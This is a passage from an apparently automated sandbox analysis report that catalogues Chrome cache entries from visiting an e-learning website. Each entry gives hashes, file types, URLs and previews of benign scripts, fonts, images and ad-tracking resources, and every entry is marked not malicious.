e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s="Vhyj")}({"4Z/T":fu

Chrome Cache Entry: 866

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3202)
Category:	downloaded
Size (bytes):	3380
Entropy (8bit):	5.036327515003673
Encrypted:	false
SSDEEP:	48:NpzuSHXsAZP3YahLJfIBW8c68tYYYVTsjtyDebasJBW0uxavfGYDtheEeSrSpS7h:fuo3YQL6/cRpWT8tDvBWfwvfL
MD5:	F5FEC54AE43BEA19A01D7479CDD6D0EE
SHA1:	3ABF306A1352402F2B0FAE989EB3211C4AF0BEDE
SHA-256:	93FFE8A780B4034C7B14AC0D57D752368B53EAFC734D906C8CDF3D3642A9EB36
SHA-512:	0EC6602BDC5155084C4BA8EF60889CF2DAA56ED8817D5DC5EB95D88A2FDF6804D93D0DB4A366FA93567813DEED79A67C93AD611C890663595A2B97C811418E29
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/ui/mouse.min.js
Preview:	/!. jQuery UI Mouse 1.12.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. */.!function(e){"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(o){var n=!1;return o(document).on("mouseup",function(){n=!1}),o.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.on("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).on("click."+this.widgetName,function(e){if(!0===o.data(e.target,t.widgetName+".preventClickEvent"))return o.removeData(e.target,t.widgetName+".preventClickEvent"),e.stopImmediatePropagation(),!1}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)}

Chrome Cache Entry: 867

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2167
Entropy (8bit):	5.329032753313809
Encrypted:	false
SSDEEP:	48:HOL21RVc+u7OLPN0oDOCcRVc+u7OCjN0oDOMORVc+u7OMNN0oD:HOL2PVc+u7OLPNHOCYVc+u7OCjNHOMiW
MD5:	FDB822707735A82C7A9E12C4A2693481
SHA1:	D532F839C9B7262FF6F176DB7EFB2A9B5E8A6F0A
SHA-256:	210C0DEC6B8654D40ACA7610C693067129122F2DC88D1E5525365F7BB4A8E5CF
SHA-512:	1AF94B5695B3CDF189D7CD16DD816AE80A74B88B29937B94F87BB524E3ECE075309E9CF05081A1D608E72F71020FA7293E116C4B536482103C29D0C5D71E24E5
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Lato:400,700,900"
Preview:	/* latin-ext /.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjxAwXjeu.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwaPGR_p.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20

Chrome Cache Entry: 868

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2024
Entropy (8bit):	5.000593438040418
Encrypted:	false
SSDEEP:	48:xHhnPPVevGWhsX2SFPs+P+gIjKseUjywFwWDsX2PIXuNTqKIXu3jsso6u6L61tsH:n2y/O4O1ym4Ur4csmd218
MD5:	946834F1B76F518CBBD9D8EBCB950F4D
SHA1:	CD5120A5458267665D35D7FC9DA5E4F7EE63FDA6
SHA-256:	D3AE60325C6806F1105731CDFC710FC87AEC7B6BD1A5E5D13F2F0EE043488CC9
SHA-512:	FE6178BA90D4FFE344C43196D0DEAB1F36B1661E505EF8A50E5CE02CFC7204DB4625C775EF5EECDA32A439D9EFCA9D461C2BE88B58F35C21D8865A2C97344480
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/elementor/assets/js/widgets/widget-grid-post.js
Preview:	(..function( $ ) {...'use strict';....var $body = $( 'body' );....var EdumallGridDataHandler = function( $scope, $ ) {....var $element = $scope.find( '.edumall-grid-wrapper' );....$element.find('.edumall-widget-nice-select').EdumallNiceSelect();....$element.EdumallGridLayout().EdumallGridQuery();.....handlerOverlayHuge( $element );.....handlerOverlayMovement( $element );...};....function handlerOverlayMovement( $element ) {....if ( ! $element.hasClass( 'portfolio-overlay-movement' ) ) {.....return;....}.....$element.on( 'mousemove', '.post-wrapper', function( e ) {.....var offset = $( this ).offset();.....var x = e.pageX - offset.left;.....var y = e.pageY - offset.top;......var mover = $( this ).find( '.post-overlay' );......var moverW = mover.width();.....var moverH = mover.height();......moverW /= 2;.....moverH /= 2;......x -= moverW;.....y -= moverH;......// Convert float number to int to fix box blur......var finalX = parseInt( x );.....var finalY = parseInt( y );......mover.css( "

Chrome Cache Entry: 869

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=933b039f-4d12-4fd1-b03f-26c6e83239e4
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 870

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 195x102, components 3
Category:	dropped
Size (bytes):	3687
Entropy (8bit):	7.854220402387638
Encrypted:	false
SSDEEP:	96:SdObe2POM6i4SXtnAxv/+Y2oRJZSdJffG:/e0HXa0qGffG
MD5:	06E105BC94A9760A0265506DD760A5A0
SHA1:	90A9D032717DF3002677189DF523F176440DD995
SHA-256:	525F010D222CAFD35EA44C77422460027B1C2E5DA8E9B6A4EE6AC83F48B307DD
SHA-512:	47EA77D39400CF769FF2D29CCAFC88BEC9F97C1764021EF2AB219DA3EA6B5A0DB514D9FC7FD54837D98F00AC3EF7B81A19B51CE63DA9603337F5D4E4108BA96E
Malicious:	false
Reputation:	low
Preview:	......JFIF..................................................."... ....+."%%)4(..-5-&0"'((...........2...+2&+&-.22)/2-2/&2.2.(2)0))/&(('&(&.+'+/'(//.&/2......f...."........................................;........................!1.."A.Qa#2q....BR..b...3T...$r.................................-........................!1AQ..aq...R..."b..............?..R...4...k.N.z.+C3.U...M...\..@R.k....5....siqx.g..$e. .8....9.W.....dMu.QZks:u.V...U)V..,.g..I...\|.dA#.$tr.`...+mI.6/....JZ.U....1.0YJ..GI=...iysSW...........3.....U..X.plh..+[..}..?...."..P.....(.)J.JR.R....(.)Pq.H..........b.x.i@a.)B..v ..@... ....t.U.!.Y...2.i.@U-4.".]V...Aa...3.6@.1.C.Q....%.H .@.c.f.q.D...J..].H.3..Q}@.]....R...(AY!.......a........2.u'..e.u.?...M.+...}..Gz.@)J.x{..n........cml4..5..sK^.[.#Jt.IY..Vlj.......\|..U.~.....NhRG..{.kZ.......]#.....iT{..)X.T\..Z..J...z.!....#..h.#..T*.>#....m...R.R...r.....{....gS...zA .........gV...!.......).7;V...U....p\|....Na.%Nc....e#(\.!....e&).'$.QJ.R..t.

Chrome Cache Entry: 871

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4777), with no line terminators
Category:	downloaded
Size (bytes):	4777
Entropy (8bit):	5.429446672157788
Encrypted:	false
SSDEEP:	96:9WsFpRR6+6Y6yHuwCp0yXALwNLMpn02MGkdt5xjpefs1pecbt:9++2y7CpRNyfMpxjpcgwcbt
MD5:	5CBF03CEBFA0140109CC42E210B55802
SHA1:	321D0551F5D15DD743D57EFE89F785937A7462F2
SHA-256:	1B8AD518B32B5554C4186DF68D94A8ABCF4E42B0D373894111ADBBF0F3F0166F
SHA-512:	FAED3AB6F4A13B8D573050262AFF0AA3DD1A22E47F839E5AC44F0486DE3BD5F38A530A46DA1DDF27B93F02A14A377C087A38B0DFA466A7DE4F86E386EA1A66E6
Malicious:	false
Reputation:	low
URL:	https://s.pinimg.com/ct/core.js
Preview:	!function(t){var i={};function r(n){var e;return(i[n]\|\|(e=i[n]={i:n,l:!1,exports:{}},t[n].call(e.exports,e,e.exports,r),e.l=!0,e)).exports}r.m=t,r.c=i,r.d=function(n,e,t){r.o(n,e)\|\|Object.defineProperty(n,e,{enumerable:!0,get:t})},r.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"u",{value:!0})},r.t=function(e,n){if(1&n&&(e=r(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.u)return e;var t=Object.create(null);if(r.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var i in e)r.d(t,i,function(n){return e[n]}.bind(null,i));return t},r.n=function(n){var e=n&&n.u?function(){return n.default}:function(){return n};return r.d(e,"a",e),e},r.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},r.p="",r(r.s=2)}([function(n,e){function t(n,e){return function(n){if(Array.isArray(n))return n}(n)\|\|function(n,e){var t=null==n?null:"undefined"!=typ

Chrome Cache Entry: 872

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5493)
Category:	downloaded
Size (bytes):	5536
Entropy (8bit):	5.420059698404446
Encrypted:	false
SSDEEP:	96:Bs4JxUTSq5wScUX8VGJGoPT4VELXlUN3cAVibV0GQKZ+ftpadfbHtp:64JqTSywSaVgGoLEELBAmCdKZms7P
MD5:	11E5A87BD531D53A58DDD15E491DDD82
SHA1:	954201068D4D7D64E65E98287DA3D10E995C6B8D
SHA-256:	F63F9DA97A793227B906F8BAF1EF3299ED5FA10EC94AD03F920A863C613DCE1E
SHA-512:	91318F41EABB23FE1D31894AE5D198022B74818BBADEF3BECB2B580871B63B2F2F871ADC8B6FC3632CD4A4239EF36E58B06642EC2F778286540380B93736669C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js
Preview:	/! elementor-pro - v3.2.2 - 05-05-2021 /.(()=>{"use strict";var e,r,_,t,a={},n={};function __webpack_require__(e){if(n[e])return n[e].exports;var r=n[e]={exports:{}};return a[e](r,r.exports,__webpack_require__),r.exports}__webpack_require__.m=a,__webpack_require__.x=e=>{},r=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,__webpack_require__.t=function(_,t){if(1&t&&(_=this(_)),8&t)return _;if("object"==typeof _&&_){if(4&t&&_.__esModule)return _;if(16&t&&"function"==typeof _.then)return _}var a=Object.create(null);__webpack_require__.r(a);var n={};e=e\|\|[null,r({}),r([]),r(r)];for(var i=2&t&&_;"object"==typeof i&&!~e.indexOf(i);i=r(i))Object.getOwnPropertyNames(i).forEach((e=>n[e]=()=>_[e]));return n.default=()=>_,__webpack_require__.d(a,n),a},__webpack_require__.d=(e,r)=>{for(var _ in r)__webpack_require__.o(r,_)&&!__webpack_require__.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:r[_]})},__webpack_require__.f={},__webpack_require__.e=e=>Promise.all(Object.keys(_

Chrome Cache Entry: 873

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 874

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 95, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	11802
Entropy (8bit):	7.965162479501559
Encrypted:	false
SSDEEP:	192:Le/De8jFHE6f0qhzKiuX3ExD5kYdwIvvb2sGtW2omAJAON8Q4m1f8D7VpQN:LMe8xH/f0qwU+YuIvDnJAC8BNFp2
MD5:	E273267944396E3BF8B4D15BF9EF8EC4
SHA1:	5FD274D446AECFAE8F3F9381556DB166DA99C66E
SHA-256:	B18671C38032D94CCEEA74328337F5BD36B55E38604D1C55B8705C25DBE68E20
SHA-512:	F302219B8D91C6FA49D2C56F1EC655DB8A538830A818939F5741018B0AC9D8801AEB6E972C2597091529E2D52C47B9B66B7725C546F0E439E45CD78EBFCB5D89
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Coca-Cola.png
Preview:	.PNG........IHDR......._.....K.C!..-.IDATx...kUO........{.w."b..\(..bC.AD\$..H ......H!...4B:...s...r_~/Y..\|ax...;.....3......Ia.8888.888.88L#8.888.888.88L+8.888.888..ccc222B..?N.......A.....`...a'.......}A0....x...._B.{.,...........m``.o..=.#W4....O....p`Nt...`2Z ...R..i\|...6.a.......]]].....?....B..L....Z...).6n..q.....I..:..Z.c.u`.....n.,.L}m....p=.l...jMZ.HlO...i.Fd..D1...).....L....r....!....~..0E..?....A.......P..=..."W4.....G#...}......G.....a!........6...Hj.._..k..."... .pmN....UWWKii.TVVJgg.7b....8.......O8...50...Kqq.455I[[.s.}..kkk...L**$;;[........u...S........A....\|ihh0..y........`?.+.CP...........k.....9sF..9"'N..w..IBB........hiiQ....M.<y"....m..m.<x 111.PRR.6...}.V.].&....v....o.M}r..Uy...\|..........O..EEE....y....w.5........ i..BZZ...E.&......?.......Ke.%.~.zY.v.^/^.Xf.%./^....5...8.......#_.\|..G..y.d...u.V.q.l.I6o.,....].v...5X.}[.-_.\6l....".}...S...#{...y[.l.u..1G....L.4.NI....*.....9sd......gk.lmm....../_

Chrome Cache Entry: 875

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6542
Entropy (8bit):	5.396347276510722
Encrypted:	false
SSDEEP:	192:pNa5N4NXNO3qNWNIXNENFQNDN8NW3XNtNGqN+lNn1NhN6ND3eNhNzTNM:vafWdMQcMCFe5Kkdjjwn73Az03FM
MD5:	E0FD6BE3182DD641E1FF9568A94E74A5
SHA1:	0A1567A992D1A58E530A6A52AA82DAE0A4F48C57
SHA-256:	BDB7D822D6AFD1C8354749A111F68D56CE5E5DB03B8A3028698ACFC78358E06D
SHA-512:	2BB56FA556688262F4F99DC67905342041FCCF570CF2E9AEBC54929FDAF39B954479E75034B3BE288024E382A1BEB93C8E0CB76E8623AEF38CA947E8B9F13470
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto%3A300%2C400%2C700
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2');. unicode-ra

Chrome Cache Entry: 876

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	21172
Entropy (8bit):	4.533189332231436
Encrypted:	false
SSDEEP:	384:VeofQv4B3BP+81mg+gLPZaQY/6QSnxZJWryIlt8ZE:VXfQQB98g+gLHnx+rB
MD5:	B4ECF05FE49C7D270978FD43997BEE50
SHA1:	14E60BC37D6AF6907CFA60553CCAB5A63D2E5A34
SHA-256:	0B06CA55C1EB4674BF666BEE6CD0193D8E72D3ED8535B7B5DF6160E0391D84FC
SHA-512:	DBF781BA95BA296226EB9E31AFAC76017BA8DCDB3EBE7571E54256849512673414AECA5E2AFF4E4E77BAA640F7F52B507187B4290A15E46373DD948CFD3FE877
Malicious:	false
Reputation:	low
URL:	https://cdn.lijit.com/www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702
Preview:	//sovrn beacon standalone .js.window.sovrn = window.sovrn \|\| {};.sovrn.auction = sovrn.auction \|\| {};.let beaconFlag = false;.let cmpVersion = 0;..sovrn.auction = {. doNotTrack: function (nav, win) {. nav = nav \|\| navigator;. win = win \|\| window;. var optOutCookie = sovrn.auction.readCookie('tracking_optout');. return nav.doNotTrack === 'yes'. \|\| nav.doNotTrack === '1'. \|\| nav.msDoNotTrack === '1'. \|\| win.doNotTrack === '1'. \|\| optOutCookie === '1';. },.. readCookie: function (name) {. var nameEQ = name + "=";. var ca = document.cookie.split(';');. for (var i = 0; i < ca.length; i++) {. var c = ca[i];. while (c.charAt(0) === ' ') c = c.substring(1, c.length);. if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length);. }. return null;. },.. sendBeacon: function () {. sovrn.auction.beaconConfig =

Chrome Cache Entry: 877

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (25095)
Category:	dropped
Size (bytes):	34893
Entropy (8bit):	6.151605863502003
Encrypted:	false
SSDEEP:	768:zmJ0XUlddSWx/yG9h205fq7jqAYc842BRw1dmHJVM8B/r5dRPj1:KJ0XUlddHx/L4Yfq7Wv5m1dmHJVM8Bj7
MD5:	5041F2BEDA6D128843729738F04CC48D
SHA1:	ACE46852D4B759A8EC4825E9B1B84837FFE17A56
SHA-256:	BAE967AD073545C17854453E7956D42202540417AC16189D63AFF0516EE47EE6
SHA-512:	B4C57CF8834F1DA60C04CB4AB1A5785CDFA10971CB80594A630E94A0FBA0330E968491167F5016B8DB22A501E9536E34A4724244911F5CC5D6788D3E349D6C96
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="3.0">. <Ad id="577674429">. <Wrapper>. <AdSystem>DBM</AdSystem>. <VASTAdTagURI><![CDATA[https://ad.doubleclick.net/ddm/pfadx/N3186.3949321PMPRECISIONDV360/B31189534.385370447;sz=0x0;ord=[timestamp];dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;dc_tdv=1;dcmt=text/xml;dc_sdk_apis=1,2;dc_omid_p=Google1/h.3.633.0;gdpr=0;gdpr_consent=;dc_mpos=[BREAKPOSITION];ltd= </VASTAdTagURI>. <Error><![CDATA[https://pagead2.googlesyndication.com/pagead/gen_204?id=notify&exchange=bidswitch&creative_id=548751933&creative_type=121&usl_id=938998595944&errorcode=[ERRORCODE]&asseturi=[ASSETURI]&ord=[CACHEBUSTING]&offset=[CONTENTPLAYHEAD]&d=APEucNV_e8kyPAKp85VZHFG70H4WbQ9TKs8AJbPhSg2E_UOgHl1XH52FfxP3NOLU-IZj9ulKiVNzxn8DxaXnSIczMVudI-jo8A </Error>. <Impression><![CDATA[https://googleads.g.doubleclick.net/xbbe/pixel?d=CNq02qIFEPqxo-MFGL2U1YUC

Chrome Cache Entry: 878

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072979&val=SFkS50Wi1RV1WO5
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 879

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1914)
Category:	downloaded
Size (bytes):	3607
Entropy (8bit):	5.5952573028214845
Encrypted:	false
SSDEEP:	96:uKEhr3XCUq3yO3JovVkESj4xSqIS2C0XBPZxLCpM:ZEhrCUVueK4AqaLl
MD5:	83063E4D31B881F998A4BD32BA4C64F7
SHA1:	8DFBF18214C8A573FE77B92C702C6A0BBFE2DF00
SHA-256:	DDA313D7DB3E8E9F49ADEF5EE4663515C9B7722C3CDC5F59B7FD2ABA68F41C2E
SHA-512:	9156B20E736BBC55E18715F1589F1A6A09A975F4080F96A3013E35C9985AD88BA77BA00DEE1A4DD62CD3770B64F75B94D6957E1123ECA12C9BD1CAE9E6A5CE72
Malicious:	false
Reputation:	low
URL:	https://app.grow.me/iframe-login?siteId=a93bd662-05a1-4ce7-81ce-4c67bccef190&callback=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701
Preview:	<!DOCTYPE html><html><body><script>(()=>{var S="https://api.grow.me",I="grow-me-iframe-prod",c={BACKEND_BASE_URL:S,SNOWPLOW_TRACKER_NAMESPACE:I};function r(e){let o=document.cookie.match(`(^\|;)\\s${e}\\s=\\s([^;]+)`);return o?o.pop():""}function E(e){return new Date(Date.now()+Number(e)1e3).toUTCString()}var g="grow_unverified_reader_id",y="growme_has_logged_in",u="grow_check_third_party_cookie_support",_=window.location.hostname.split(".").slice(-2).join(".");_!=="localhost"&&(_=`.${_}`);function f({name:e,value:o}){let n=new Date;n.setTime(n.getTime()+15778463e4);let t=[`${e}=${o}`,`Domain=${_}`,"Path=/","SameSite=None","Secure",`Expires=${n.toUTCString()}`].filter(Boolean).join("; ");document.cookie=t}async function O(e,o){let{SNOWPLOW_COLLECTOR_URL:n,SNOWPLOW_APP_ID:t,SNOWPLOW_TRACKER_NAMESPACE:a}=o;try{await fetch(n,{method:"POST",headers:{"Content-Type":"application/json",Accept:"application/json"},body:JSON.stringify({schema:"iglu:com.snowplowanalytics.snowplow/payload_data/

Chrome Cache Entry: 880

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	dropped
Size (bytes):	16586
Entropy (8bit):	7.957409408185379
Encrypted:	false
SSDEEP:	384:sr+Ti3JFyedoQY8MVt/X7F/NGaU1D52OE:sc0JBd4vT/XZNGzDxE
MD5:	54D65107C91A51A2622028096950808A
SHA1:	A3B97C0AF1F3051AA2DF9B56B4A1CEF39AE87D43
SHA-256:	4949207039446F8CA3E2263D7AAAD5BC5B648A112468D818AAFD340FCDC294EB
SHA-512:	975496A9D89F8F15B6949770BEAE52F9CE931DEE3D02DBD56579FBC7E496BAF6997BE9A2162DF4F16646A8B840A2A3D7109FE8E6EB0F4A61A429EE4D42003024
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................U........................!...1..AQ......"RTaq..26BDSs...#$5Cbr..34EUt..%&cd....u.7...................................:.........................!1Q.....ARSq..."a.$245r#%B..3b.............?...@Nb..,Z}w\2...e....[MWB.j...,,.,.c`)%e`....-o.V.oZ..U.&...j..J..Ya.[.z.KQ.kKY..z.{.Yt..is...Y.....>1Z.S.R..R.3=.....9m! ...5T..YY{.)....<.^.F..F.%D...%..I.R9`...M0p!v0..y.......l+s\.I...)Mr.S...A...R.........P9$]d.1.E......7Yd..l).S.@.L.#k..".@..R....\.nE..)..... ...<.1.... ...I...q..zM...#r..\.%s.....Y..Y.^.o.9w....Kg.uEPl.......6.JQx..[Q.XuE..]Re.Q#..dSMd.D.IT.Ni.y..5v.+k)b..X.;A.8...3.....pv..+AT...I.....s.@.N.~j.....L.$....G:.-H.....14N.Z.y..B...+.).G.J.l..mq.+S..J.V.}.m.8.C..1...p.'..u.%N.yV..zr@{......)9D..6.5k.T.;;Bp.3e..k....D.`3agl;...w7.O..\..3g...

Chrome Cache Entry: 881

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3537)
Category:	downloaded
Size (bytes):	52603
Entropy (8bit):	5.316331138717284
Encrypted:	false
SSDEEP:	1536:yYrF+dXpn0e+99D7FPUzHhbtjFnmFRbdwWRI32nB7PXAlnuhPisfq3ECoe5EzpGS:yYrF+d5n0e+99DJPUzHhbtjFnmFRbdwM
MD5:	F0A9F2F65F95B61810777606051EE17D
SHA1:	872BF131CB4BEFD0242339F072F2F9B9FBF8019F
SHA-256:	9CDF2602AC04F7E2BED582D4299C73D464FC4AB069E3AD5A20EE2B6635A015B8
SHA-512:	6823914507BA31E0F61B95CC53F09543C3C14E5530E9EF1B00338FBBD7C25D2E398F5F628DF4ED25D6FF88E0F8BEE506EFE62BA704778BA7CFF09AEC9579D9F0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/eureka/clank/117/cast_sender.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.'use strict';var f,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},h="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},ca=ba(this),da=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&h(c,a,{configurable:!0,writable:!0,value:b})}};.da("Symbol",function(a){if(a)return a;var b=function(g,k){this.g=g;h(this,"description",{configurable:!0,writable:!0,value:k})};b.prototype.toStri

Chrome Cache Entry: 882

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	471
Entropy (8bit):	5.022284930450752
Encrypted:	false
SSDEEP:	12:YsfXGpLDltUXGpLDlttQXGpLDltoyHwHPjrHdMqY:YsfGdltsGdlttIGdltoUyPjTuqY
MD5:	ED5E0CC93637E936CF4A4A1D2C70CD21
SHA1:	75655A53E44ED1CEB010A6ABE0669FD38180A3B5
SHA-256:	46BF2987C83E22BD6BB782658762840E43C3389176AB927FF6DA4029F567A7A7
SHA-512:	053D4911BEB1B3518B49D47D3F7A5F7F91A458DA26C3AEA00121225BBEAAA8F2CB0E74FECA7ADB6D6A0EBA38D5C631E273B11BBED3E2A625128F4517948484D9
